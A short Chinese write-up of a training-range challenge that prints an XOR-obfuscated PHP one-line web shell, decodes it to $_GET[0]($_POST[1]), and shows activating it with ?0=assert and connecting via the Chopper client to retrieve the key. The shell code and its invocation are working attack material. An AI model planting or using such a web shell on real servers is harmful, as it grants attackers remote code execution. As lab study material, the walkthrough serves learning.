靶场地址：
https://www.mozhe.cn/bug/detail/UW5xcFhsWE05akxJYjB1TzEyM2p3UT09bW96aGUmozhe
进入靶场，标题是b.php源码
然后映入眼帘的是一串看不懂的字符
b.php源码
<?php @$_++;$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");${$__}[!$_](${$___}[$_]); ?>
其实这是一句话木马的变种，整理下
$_原来的值为0，经过$_++,变成1
在python中将字符的异或进行计算，解得$__=_GET，$___=_POST
解得的字符
而$_布尔值为True，!$_则为False，值为0
整理${$__}[!$_](${$___}[$_]);得到 $_GET[0]($_POST[1])，是不是很眼熟，这其实就是一句话木马
提交参数b.php?0=assert，代码就变成了<?php assert($_POST[1]); ?>
因此上菜刀，密码为1，连接：
获得key
网友评论